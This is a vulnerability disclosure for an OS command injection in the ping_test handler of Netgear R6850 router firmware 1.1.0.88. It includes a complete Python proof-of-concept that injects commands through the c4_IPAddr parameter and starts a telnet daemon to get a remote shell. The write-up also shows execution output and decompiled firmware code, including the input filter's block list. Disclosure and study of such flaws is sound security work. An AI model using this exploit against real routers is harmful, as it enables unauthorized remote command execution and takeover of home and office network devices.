

Netgear-R6850 V1.1.0.88 Command Injection(ping_test)

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R6850 Firmware Version 1.1.0.88

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Overview

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* Type: Command Injection
* Supplier: Netgear (https://www.netgear.com/)
* Product: R6850 – AC2000 Smart WiFi Router
* Affect version: (lastest) 1.1.0.88
* Firmware
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Vulnerability Description

When deal with `ping_test` request, `c4_IPAddr` parameter is vulnerable to OS command injection.

POC

The effect of executing the "ls" command

```
(.env) PS C:\Users\yy\PycharmProjects\pythonProject> python .\R6850.py --cmd ls
C:\Users\yy\PycharmProjects\pythonProject\R6850.py:3: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
Executing 'ls' against routerlogin.com..
bin    etc    init   mnt    sbin   usr    www.eng
data   etc_ro lib    opt    sys    var
dev    home   media  proc   tmp    www

-----Done-----
(.env) PS C:\Users\yy\PycharmProjects\pythonProject>
```

```
import requests
import re
import threading
import telnetlib
import time
import argparse

def cmd_exec(target, cmd, silent = False):
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337', {
            'todo': 'ping_test',
            'c4_IPAddr': f'127.0.0.1 && {cmd}',
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        'next_file' : 'diagping.htm'
    })
    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0]
    if not silent:
        print(cmd_content.strip())
def yyyy_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

def main():
    parser = argparse.ArgumentParser('Longue vue')
    parser.add_argument('--shell', action = 'store_true', default = False)
    parser.add_argument('--cmd')
    parser.add_argument('--target', default = 'routerlogin.com')
    args = parser.parse_args()
    if not args.shell and not args.cmd:
        parser.print_help()
        return
    if args.cmd is not None:
        if '-' in args.cmd or ';' in args.cmd:
            print('Both "-" and ";" are disallowed by the command injection bug, use the shell instead.')
            return
        print(f'Executing {repr(args.cmd)} against {args.target}..')
        cmd_exec(args.target, args.cmd)
    if args.shell:
        print(f'Getting a shell against {args.target}..')
        telnetd = threading.Thread(target = yyyy_telnetd, args = (args.target,
    ))

    telnetd.start()
    print('waiting a few seconds before connecting..')
    time.sleep(5)
    print('Dropping in the shell, exit with ctrl+c')
    try:
        with telnetlib.Telnet(args.target) as tn:
            tn.mt_interact()
    except:
        pass
    print('Cleaning up..')
    cmd_exec(args.target, '/bin/kill $(/bin/pidof utelnetd)', silent = True)
    print('Joining..')
    telnetd.join()
    print('Done'.center(60, '-'))
main()

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Analysis

In the main function of `setup.cgi`, all requests with `setup.cgi` in the URL will be processed by the `setup_main` function

```

1 int __fastcall setup_main(int a1, int a2, int a3)
2 {
3     int v3; // $s0
4     int v4; // $a0
5     FILE *v5; // $s0
6     const char *v7; // $a0
7     const char *val; // $v0
8     FILE *v9; // $s0
9
10    v3 = a3;
11    if ( !a3 )
12        v3 = cgi_input_parse();
13    if ( FindForbidValue(v3) )
14    {
15        v5 = fopen("/dev/console", (const char *)&off_B7AFC);
16        if ( v5 )
17        {
18            fprintf(v5, "[%s::%s():%d] ", "cgi_main.c", "setup_main", 447);
19            fputs("Invalid input value!\n", v5);
20            fclose(v5);
21        }
22    }
23    else if ( check_filename(v3) )
24    {
25        if ( check_need_logout(v3) )
26            return handle_logout(v3);
27        fflush(stdout);
28        if ( v3 && !is_form_empty() )
29        {
30            val = (const char *)find_val(v3, "todo");
31            if ( val )
32            {
33                CallActionByName(v3, val);
34                return 0;
35            }
36            v7 = (const char *)find_val(v3, "next_file");
37            if ( !v7 )
38            {
39                v9 = fopen("/dev/console", (const char *)&off_B7AFC);
40                if ( v9 )
41                {
42                    fprintf(v9, "[%s::%s():%d] ", "cgi_main.c", "setup_main", 630);
43                    fputs("###next_file_injection_detected!###\n", v9);
44                    fclose(v9);
45                }
46                return 0;
47            }
48        }
49    }
50    else
51    {
52        v7 = "index.htm";
53    }
54    html_parser(v7, v3, &key_fun_tab);
55    return 0;
56 }
57
58 }

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It should be noted that a filter (FindForbidValue) was applied at the beginning of the function, filtering out some characters and specific functions

```

35     && !strcasestr((*v2)[1], "onclick=alert")
36     && (!strcasestr((*v2)[1], "telnetd") || !strcasestr((*v2)[1], &off_C00A8) )
37 {
38     if ( !strcasestr((*v2)[1], &unk_C00AC) || (v1 = 1, !strcasestr((*v2)[1], &unk_C00B0) ) )
39     {
40         if ( !strcasestr((*v2)[1], "function")
41             || !strcasestr((*v2)[1], &unk_C00B4)
42             || (v1 = 1, !strcasestr((*v2)[1], &unk_C00B8) ) )
43         {
44             if ( !strcasestr((*v2)[1], &unk_C00B8)
45                 || (v1 = 1, !strcasestr((*v2)[1], "alert"))
46                 && !strcasestr((*v2)[1], "confirm")
47                 && !strcasestr((*v2)[1], "prompt") )
48             {
49                 if ( !strcasestr((*v2)[1], "/sh") || (v1 = 1, strcasestr((*v2)[1], "/shares")) )
50                 {
51                     v1 = 1;
52                     if ( !strcasestr((*v2)[1], "/bin")
53                         && !strcasestr((*v2)[1], "/sbin")
54                         && !strcasestr((*v2)[1], "${IFS}") )
55                     {
56                         return strcasestr((*v2)[1], "${IFS}") != 0;
57                     }
58                 }
59             }
60         }
61     }
62     return v1;
63 }
64
65 v3 = (*v2)[1];
66 if ( strchr(v3, 96)
67     || strchr(v3, 59)
68     || strstr(v3, (const char *)&off_C006C)
69     || strcasestr(v3, "<script>")
70     || strcasestr((*v2)[1], "</script>")
71     || strcasestr((*v2)[1], &off_C007C)
72     || strcasestr((*v2)[1], &off_C0080)
73     || strcasestr((*v2)[1], &off_C0084)
74     || strcasestr((*v2)[1], "\\")
75     || strcasestr((*v2)[1], &off_C0088)
76     || strcasestr((*v2)[1], &off_C008C)
77     || strcasestr((*v2)[1], "onclick=alert")
78     || strcasestr((*v2)[1], "telnetd") && strcasestr((*v2)[1], &off_C00A8) )
79 {
80     goto LABEL_34;
81 }
82 if ( strcasestr((*v2)[1], &unk_C00AC) )
83 {
84     v4 = (const char *)&off_EB6E0;
85     if ( strcasestr((*v2)[1], &unk_C00B0) )
86         break;
87 }
88 if ( strcasestr((*v2)[1], "function") && strcasestr((*v2)[1], &unk_C00B4) && strcasestr((*v2)[1], &unk_C00B8)
89     || strcasestr((*v2)[1], &unk_C00B8)
90     && (strcasestr((*v2)[1], "alert") || strcasestr((*v2)[1], "confirm") || strcasestr((*v2)[1], "prompt"))
91     || strcasestr((*v2)[1], "/sh") && !strcasestr((*v2)[1], "/shares")
92     || strcasestr((*v2)[1], "/bin")
93     || strcasestr((*v2)[1], "/sbin")
94     || strcasestr((*v2)[1], "${IFS}")
95     || strcasestr((*v2)[1], "${IFS}") )
96 {

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Then go to the `callActionByName` function, where you will find the characters in the `ActionTab` field

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1 int __fastcall setup_main(int a1, int a2, int a3)
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4     int v4; // $a0
5     FILE *v5; // $s0
6     const char *v7; // $a0
7     const char *val; // $v0
8     FILE *v9; // $s0
9
10    v3 = a3;
11    if ( !a3 )
12        v3 = cgi_input_parse();
13    if ( FindForbidValue(v3) )
14    {
15        v5 = fopen("/dev/console", (const char *)&off_B7AFC);
16        if ( v5 )
17        {
18            fprintf(v5, "[%s::%s():%d] ", "cgi_main.c", "setup_main", 447);
19            fputs("Invalid input value!\n", v5);
20            fclose(v5);
21        }
22    }
23    else if ( check_filename(v3) )
24    {
25        if ( check_need_logout(v3) )
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29        {
30            val = (const char *)find_val(v3, "todo");
31            if ( val )
32            {
33                CallActionByName(v3, val);
34                return 0;
35            }
36            v7 = (const char *)find_val(v3, "next_file");
37            if ( !v7 )
38            {
39                v9 = fopen("/dev/console", (const char *)&off_B7AFC);
40                if ( v9 )


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1 int __fastcall CallActionByName(int a1, const char *a2)
2 {
3     const char **v4; // $s0
4     const char *v6; // $a1
5
6     find_val(a1, "this_file");
7     v4 = (const char **)&ActionTab;
8     while ( 1 )
9     {
10        v6 = *v4;
11        if ( !*v4 )
12            break;
13        v4 += 2;
14        if ( !strcmp(a2, v6) )
15            return ((int (__fastcall *) (int))(v4 - 1))(a1);
16    }
17    html_parser("index.htm", a1, &key_fun_tab);
18    return -1;
19 }

```



In `ActionTab`, you can see the action function corresponding to `ping_test(sub_184B0)`. Here, the `c4-IPAddr` parameter is concatenated into the `myPipe` function using the `snprintf` function (which is actually a self encapsulated `open`)

```
1 int __fastcall sub_184B0(int a1)
2 {
3     const char *val; // $s1
4     int v3; // $v0
5     char v5[132]; // [sp+18h] [-84h] BYREF
6
7     val = (const char *)find_val(a1, "c4_IPAddr");
8     if ( !val )
9         val = (const char *)&unk_CFF34;
10    if ( !strchr(val, 45) && !strchr(val, 59) && inet_addr(val) != -1 )
11    {
12        sprintf(v5, 0x80u, "/bin/ping -c 4 %s", val);
13        myPipe(v5, &ping_output);
14        v3 = find_val(a1, "next_file");
15        html_parser(v3, a1, &key_fun_tab);
16    }
17    return 0;
18 }
```